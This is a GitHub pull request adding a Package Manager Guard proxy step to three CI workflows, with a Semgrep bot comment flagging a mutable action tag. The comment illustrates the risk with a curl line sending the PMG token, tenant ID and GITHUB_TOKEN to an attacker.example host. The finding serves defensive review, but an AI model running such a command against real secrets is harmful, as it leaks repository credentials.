Skip to content

Add Package Manager Guard (PMG) to CI workflows #61

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
vanshika-verma-rzp wants to merge 4 commits into
base: master
Choose a base branch
from
Open

Add Package Manager Guard (PMG) to CI workflows #61

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
879c8b9
Add Package Manager Guard (PMG) to CI workflows
vanshika-verma-rzp Aug 15, 2026
9222b82
Align PMG integration: use PMG_PUBLIC_REPOS_TOKEN/PMG_TENANT_ID + add…
vanshika-verma-rzp Aug 24, 2026
2016939
Align PMG integration with the agreed standard
vanshika-verma-rzp Aug 25, 2026
011f1d7
Remove pmg-test.yml PMG validation workflow
vanshika-verma-rzp Aug 28, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 15 additions & 0 deletions .github/workflows/maven.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -33,10 +33,25 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1
with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Set up JDK 1.8
uses: actions/setup-java@v1
with:
java-version: 1.8
- name: Build with Maven
run: |
mvn -T 1C clean compile package
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi
15 changes: 15 additions & 0 deletions .github/workflows/thirdeye_tests-workflow-run.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -29,9 +29,24 @@ jobs:
name: "Cancel duplicate workflow runs"
runs-on: ubuntu-latest
steps:
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1

@semgrep-code-razorpay semgrep-code-razorpay Bot Aug 25, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The workflow executes safedep/pmg@v1 from a mutable tag. A tag change could run attacker-controlled code with PMG secrets and the job’s GitHub token.

More details about this

The Setup PMG proxy step runs safedep/pmg@v1, where v1 is a mutable tag rather than an immutable commit. If an attacker compromises the safedep/pmg repository or gains permission to move its v1 tag, they can replace the action with malicious code without changing this workflow. When a workflow_run request starts cancel-duplicate-workflow-runs, that code executes on ubuntu-latest with PMG_PUBLIC_REPOS_TOKEN, PMG_TENANT_ID, and the workflow’s GITHUB_TOKEN available to the job; it could send those values to an attacker, alter repository data, or use the token to access other GitHub resources. For example, an attacker could repoint v1 to an action that runs curl -d "${PMG_PUBLIC_REPOS_TOKEN}:${PMG_TENANT_ID}:${GITHUB_TOKEN}" https://attacker.example/collect before the existing pmg commands run.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: safedep/pmg@v1
# Replace with the verified 40-character commit SHA for the safedep/pmg v1 release.
uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED>
View step-by-step instructions
  1. Resolve the trusted commit SHA for the safedep/pmg v1 release from the upstream repository, such as with $ git ls-remote https://github.com/safedep/pmg.git refs/tags/v1.
  2. Replace the mutable tag with that exact 40-character commit SHA: uses: safedep/pmg@<40-character-commit-sha>.
  3. Keep the existing with configuration and secret references unchanged. A commit SHA cannot be silently moved to different code, unlike the v1 tag.
💬 Ignore this finding

Leave a nosemgrep comment directly above or at the end of line 34 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag

Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- uses: potiuk/cancel-workflow-runs@953e057dc81d3458935a18d1184c386b0f6b5738
name: "Cancel duplicate workflow runs"
with:
cancelMode: allDuplicates
token: ${{ secrets.GITHUB_TOKEN }}
sourceRunId: ${{ github.event.workflow_run.id }}
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi
15 changes: 15 additions & 0 deletions .github/workflows/thirdeye_tests.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,13 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup PMG proxy
id: pmg-setup
uses: safedep/pmg@v1
with:
server-mode: true
api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }}
tenant-id: ${{ secrets.PMG_TENANT_ID }}
- name: Set up JDK 1.8
uses: actions/setup-java@v1
with:
Expand All @@ -40,3 +47,11 @@ jobs:
- name: Upload coverage to Codecov
run: |
bash <(curl -s https://codecov.io/bash) -cF unittests
- name: Enforce PMG policy
if: always()
run: |
if [ "${{ steps.pmg-setup.outcome }}" = "success" ]; then
pmg proxy stop --fail-on-violation
else
pmg proxy stop || true
fi
Loading